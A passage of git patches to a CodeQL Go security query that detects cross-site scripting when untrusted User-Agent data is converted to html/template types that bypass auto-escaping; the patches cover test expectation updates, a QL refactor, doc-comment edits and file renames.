Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:15:19 +0100 Subject: [PATCH 055/535] Tidy up test (remove duplicated `main`) --- .../HTMLTemplateEscapingPassthrough.expected | 108 +++++++++--------- .../HTMLTemplateEscapingPassthrough.go | 2 - 2 files changed, 54 insertions(+), 56 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index 7da7560567fd..feb98b69d5e7 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -1,60 +1,60 @@ #select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | Data from an $@ will not be auto-escaped because it was converted to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | Data from an $@ will not be auto-escaped because it was converted to template.JS | HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | Data from an $@ will not be auto-escaped because it was converted to template.JSStr | HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | Data from an $@ will not be auto-escaped because it was converted to template.CSS | HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | Data from an $@ will not be auto-escaped because it was converted to template.Srcset | HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | untrusted source | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | Data from an $@ will not be auto-escaped because it was converted to template.URL | HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | untrusted source | edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 Config | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | provenance | | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | provenance | | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | provenance | | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | provenance | | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | provenance | | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | provenance | | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | provenance | Src:MaD:1 Config | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | provenance | | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | provenance | Src:MaD:1 Config | models | 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:27:12:27:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:33:9:33:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:38:9:38:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:44:11:44:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:48:11:48:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:48:23:48:37 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:49:44:49:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:52:11:52:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:52:26:52:40 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:53:44:53:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:56:11:56:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:56:24:56:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:57:38:57:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:60:11:60:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:60:27:60:41 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:61:44:61:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:64:11:64:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:64:24:64:38 | call to UserAgent | semmle.label | call to UserAgent | +| HTMLTemplateEscapingPassthrough.go:65:38:65:38 | g | semmle.label | g | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index 50e318d956ac..5ff36d0a8bc8 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -7,8 +7,6 @@ import ( "strconv" ) -func main() {} - func checkError(err error) { if err != nil { panic(err) From b90aba291efd396c222b8d0b2496cfcdb51b876c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:30:16 +0100 Subject: [PATCH 056/535] Refactor class for unescaped types --- .../HTMLTemplateEscapingPassthrough.ql | 33 ++++++++++--------- 1 file changed, 17 insertions(+), 16 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 9a73ebe159bf..bfb9194ede72 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -14,11 +14,13 @@ import go /** - * A name of a type that will not be escaped when passed to - * a `html/template` template. + * A type that will not be escaped when passed to a `html/template` template. */ -class PassthroughTypeName extends string { - PassthroughTypeName() { this = ["HTML", "HTMLAttr", "JS", "JSStr", "CSS", "Srcset", "URL"] } +class UnescapedType extends Type { + UnescapedType() { + this.hasQualifiedName("html/template", + ["CSS", "HTML", "HTMLAttr", "JS", "JSStr", "Srcset", "URL"]) + } } /** @@ -42,7 +44,7 @@ predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = TUnconverted() or - TConverted(PassthroughTypeName x) + TConverted(UnescapedType unescapedType) /** * Flow state for tracking whether a conversion to a passthrough type has occurred. @@ -50,14 +52,14 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } - predicate isAfterConversion(PassthroughTypeName x) { this = TConverted(x) } + predicate isAfterConversion(UnescapedType unescapedType) { this = TConverted(unescapedType) } /** Gets a textual representation of this element. */ string toString() { this.isBeforeConversion() and result = "Unconverted" or - exists(PassthroughTypeName x | this.isAfterConversion(x) | - result = "Converted to template." + x + exists(UnescapedType unescapedType | this.isAfterConversion(unescapedType) | + result = "Converted to " + unescapedType.getQualifiedName() ) } } @@ -82,13 +84,13 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon predicate isAdditionalFlowStep( DataFlow::Node pred, FlowState predState, DataFlow::Node succ, FlowState succState ) { - exists(ConversionExpr conversion, PassthroughTypeName name | + exists(ConversionExpr conversion, UnescapedType unescapedType | // If not yet converted, look for a conversion to a passthrough type predState.isBeforeConversion() and - succState.isAfterConversion(name) and + succState.isAfterConversion(unescapedType) and succ.(DataFlow::TypeCastNode).getExpr() = conversion and pred.asExpr() = conversion.getOperand() and - conversion.getType().getUnderlyingType*().hasQualifiedName("html/template", name) + conversion.getType().getUnderlyingType*() = unescapedType ) } } @@ -100,11 +102,10 @@ import UntrustedToTemplateExecWithConversionFlow::PathGraph from UntrustedToTemplateExecWithConversionFlow::PathNode untrustedSource, - UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, - PassthroughTypeName targetTypeName + UntrustedToTemplateExecWithConversionFlow::PathNode templateExecCall, UnescapedType unescapedType where UntrustedToTemplateExecWithConversionFlow::flowPath(untrustedSource, templateExecCall) and - templateExecCall.getState().isAfterConversion(targetTypeName) + templateExecCall.getState().isAfterConversion(unescapedType) select templateExecCall.getNode(), untrustedSource, templateExecCall, - "Data from an $@ will not be auto-escaped because it was converted to template." + targetTypeName, - untrustedSource.getNode(), "untrusted source" + "Data from an $@ will not be auto-escaped because it was converted to template." + + unescapedType.getName(), untrustedSource.getNode(), "untrusted source" From 7f007e10c4613eb9227c4842df6f3d8ef1040b3e Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:30:36 +0100 Subject: [PATCH 057/535] Minor refactor - removed unused argument --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index bfb9194ede72..25fad3c374a9 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -26,8 +26,8 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. */ -predicate isSinkToTemplateExec(DataFlow::Node sink, DataFlow::CallNode call) { - exists(Method fn, string methodName | +predicate isSinkToTemplateExec(DataFlow::Node sink) { + exists(Method fn, string methodName, DataFlow::CallNode call | fn.hasQualifiedName("html/template", "Template", methodName) and call = fn.getACall() | @@ -69,7 +69,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon } predicate isSink(DataFlow::Node sink, FlowState state) { - state.isAfterConversion(_) and isSinkToTemplateExec(sink, _) + state.isAfterConversion(_) and isSinkToTemplateExec(sink) } predicate isBarrier(DataFlow::Node node) { From 3cce4ba4370388ac30a73a0e7aa00282b0bef9f5 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 16:40:21 +0100 Subject: [PATCH 058/535] Improve QLDocs --- .../src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql index 25fad3c374a9..e8a4202a98f0 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql +++ b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql @@ -38,8 +38,8 @@ predicate isSinkToTemplateExec(DataFlow::Node sink) { } /** - * Data flow configuration that tracks flows from untrusted sources (A) to template execution calls (C), - * and tracks whether a conversion to a passthrough type (B) has occurred. + * Data flow configuration that tracks flows from untrusted sources to template execution calls + * which go through a conversion to an unescaped type. */ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateConfigSig { private newtype TConversionState = @@ -47,7 +47,7 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to a passthrough type has occurred. + * Flow state for tracking whether a conversion to an unescaped type has occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From cba0bec3c6f6cf8966c0fa07be7bb5c60c90f969 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 09:56:28 +0100 Subject: [PATCH 059/535] Rename files --- ...lp => HtmlTemplateEscapingBypassXss.qhelp} | 4 +- ...gh.ql => HtmlTemplateEscapingBypassXss.ql} | 0 ...go => HtmlTemplateEscapingBypassXssBad.go} | 0 ...o => HtmlTemplateEscapingBypassXssGood.go} | 0 .../HTMLTemplateEscapingPassthrough.expected | 60 ------------------- .../HtmlTemplateEscapingBypassXss.expected | 60 +++++++++++++++++++ ...gh.go => HtmlTemplateEscapingBypassXss.go} | 0 ...ef => HtmlTemplateEscapingBypassXss.qlref} | 2 +- 8 files changed, 63 insertions(+), 63 deletions(-) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qhelp => HtmlTemplateEscapingBypassXss.qhelp} (88%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthrough.ql => HtmlTemplateEscapingBypassXss.ql} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughBad.go => HtmlTemplateEscapingBypassXssBad.go} (100%) rename go/ql/src/Security/CWE-079/{HTMLTemplateEscapingPassthroughGood.go => HtmlTemplateEscapingBypassXssGood.go} (100%) delete mode 100644 go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected create mode 100644 go/ql/test/query-tests/Security/CWE-079/HtmlTemplateEscapingBypassXss.expected rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.go => HtmlTemplateEscapingBypassXss.go} (100%) rename go/ql/test/query-tests/Security/CWE-079/{HTMLTemplateEscapingPassthrough.qlref => HtmlTemplateEscapingBypassXss.qlref} (61%) diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp similarity index 88% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index a842a685f238..50659b0ba3ec 100644 --- a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -19,10 +19,10 @@

In the first example you can see the special types and how they are used in a template:

- +

To avoid XSS, all user input should be a normal string type.

- + diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go diff --git a/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go similarity index 100% rename from go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index feb98b69d5e7..000000000000 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,60 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:28:39:28:39 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:27:26:27:40 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:34:40:34:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:33:23:33:37 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:39:40:39:40 | a | Data from an $@ will not be auto-escaped because it was converted to template.HTML | HTMLTemplateEscapingPassthrough.go:38:19:38:33 | call to UserAgent | untrusted source | -| HTMLTemplateEscapingPassthrough.go:45:41:45:41 | c | HTMLTemplateEscapingPassthrough.go:44:29:44:43 | call to 